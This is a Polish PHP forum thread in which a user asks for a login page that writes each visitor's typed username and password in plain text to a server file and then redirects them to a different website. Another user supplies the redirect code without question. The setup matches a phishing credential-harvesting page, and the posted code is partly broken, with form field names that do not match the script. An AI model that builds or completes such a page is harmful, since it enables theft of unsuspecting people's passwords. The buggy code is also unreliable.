Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> Formularze i php, Mam problem z formularzem i skryptem php
MitS
post
Post #1





Grupa: Zarejestrowani
Postów: 262
Pomógł: 5
Dołączył: 8.02.2005
Skąd: Olsztyn / Zatorze

Ostrzeżenie: (0%)
-----


Witam!

Na samym wstępie piszę że nie jestem zbyt dobry w te klocki, więc proszę wybaczyć za eventualne nieścisłości (IMG:http://forum.php.pl/style_emoticons/default/smile.gif)

A więc sytuacja przedstawia się tak:
Chcę stworzyć stronkę, na której jest formularz (dwa pola na tekst: na login i hasło, oraz przycisk wyślij), gdzie jak osoba wpisze login np. "mareczek" i hasło np. "mlpnkobji" i wciśnie dany przycisk to, te dane które wpisał czyli login i hasło zapiszą się do pliku *.txt znajdującgo się na serwerze, a zamiast strony głównej wejdzie na daną stronę np. http://www.jkkkk.pl/login czy cośw tym stylu...

Kod przykładowej storny:

  1.  
  2. <meta http-equiv="Content-Language" content="pl">
  3. <meta name="GENERATOR" content="WizSite Professional">
  4. <meta name="ProgId" content="WizSite.Editor.Document">
  5. <meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
  6. <title>New</title>
  7. </head>
  8.  
  9.  
  10.  
  11.  
  12. <form method="POST" action="--WEBBOT-SELF--">
  13. <!--webbot bot="SaveResults" U-File="fpweb:///_private/form_results.csv" S-Format="TEXT/CSV" S-Label-Fields="TRUE" -->
  14. <p style="margin-top: 0; margin-bottom: 0">Login:&nbsp;
  15. <input type="text" name="T1" size="21"></p>
  16. <p style="margin-top: 0; margin-bottom: 0">Hasło:&nbsp;
  17. <input type="text" name="T2" size="21"></p>
  18. <p><input type="submit" value="Zaloguj" name="B1"></p>
  19.  
  20. </form>
  21. <p>&nbsp;</p>
  22.  
  23. </body>
  24.  
  25. </html>


natomiast ten kod:

  1. <?php
  2.  
  3. $login=$_POST['login'];
  4. $haslo=$_POST['password'];
  5.  
  6. $plik=fopen('dane.txt','a+');
  7. flock($plik,1);
  8. fputs($plik,$login.' = '.$haslo.&#092;"rn\");
  9. flock($plik,3);
  10. fclose($plik);
  11.  
  12. ?>


zapisuje te dane wpisane, ale nie jestem do końca pewien, więc proszę o napisanie na forum kodu całej strony (tak abym się zorientował co gdzie ma być wpisane) (IMG:http://forum.php.pl/style_emoticons/default/smile.gif)


Bardzo proszę o pomoc, bo jest to mi bardzo potrzebne.
Dzięki All ...

(IMG:http://forum.php.pl/style_emoticons/default/guitar.gif)
Go to the top of the page
+Quote Post
 
Start new topic
Odpowiedzi (1 - 2)
Yarecki
post
Post #2





Grupa: Zarejestrowani
Postów: 166
Pomógł: 0
Dołączył: 1.04.2004
Skąd: Gdynia

Ostrzeżenie: (0%)
-----


  1. <?php
  2.  
  3. if( !empty( $_POST['login'] ) && !empty( $_POST['password'] ) ) {
  4. // twoj kod na końcu dodaj
  5. header( 'Location: http://stoana.na.ktora.ma.byc.przekierowany/' );
  6. }
  7. ?>


Umieść to na samym początku pliku, jeszcze przed <html>
Go to the top of the page
+Quote Post
MitS
post
Post #3





Grupa: Zarejestrowani
Postów: 262
Pomógł: 5
Dołączył: 8.02.2005
Skąd: Olsztyn / Zatorze

Ostrzeżenie: (0%)
-----


A więc dałem tak (nie wiem czy o to chodziło):


  1. <?php
  2. if( !empty( $_POST['login'] ) && !empty( $_POST['password'] ) ) {
  3.  
  4.  
  5. $login=$_POST['login'];
  6. $haslo=$_POST['password'];
  7.  
  8. $plik=fopen('dane.txt','a+');
  9. flock($plik,1);
  10. fputs($plik,$login.' = '.$haslo."rn");
  11. flock($plik,3);
  12. fclose($plik);
  13.  
  14.  
  15. header( 'Location: [url=http://www.sokno.er.pl/']http://www.sokno.er.pl/'[/url] );
  16. }
  17. ?>
  18.  
  19.  
  20.  
  21. <meta http-equiv="Content-Language" content="pl">
  22. <meta name="GENERATOR" content="Microsoft FrontPage 6.0">
  23. <meta name="ProgId" content="FrontPage.Editor.Document">
  24. <meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
  25. <title>New</title>
  26. </head>
  27.  
  28.  
  29.  
  30.  
  31. <form method="POST" action="--WEBBOT-SELF--">
  32. <!--webbot bot="SaveResults" U-File="C:\Documents and Settings\Krajewski Piotr\Moje dokumenty\_private\form_results.csv" S-Format="TEXT/CSV" S-Label-Fields="TRUE" -->
  33. <p style="margin-top: 0; margin-bottom: 0">Login:&nbsp;
  34. <input type="text" name="T1" size="21"></p>
  35. <p style="margin-top: 0; margin-bottom: 0">Hasło:&nbsp;
  36. <input type="text" name="T2" size="21"></p>
  37. <p><input type="submit" value="Zaloguj" name="B1"></p>
  38.  
  39. </form>
  40. <p>&nbsp;</p>
  41.  
  42. </body>
  43.  
  44. </html>


wszystko pięknie działa oprócz zapisywania loginu i hasła do pliku po naciśnięciu "Loguj". Może ma ktoś pomysł jak to zrobić tak by działało (IMG:http://forum.php.pl/style_emoticons/default/questionmark.gif) ?
Go to the top of the page
+Quote Post

Reply to this topicStart new topic
2 Użytkowników czyta ten temat (2 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 23.08.2025 - 06:26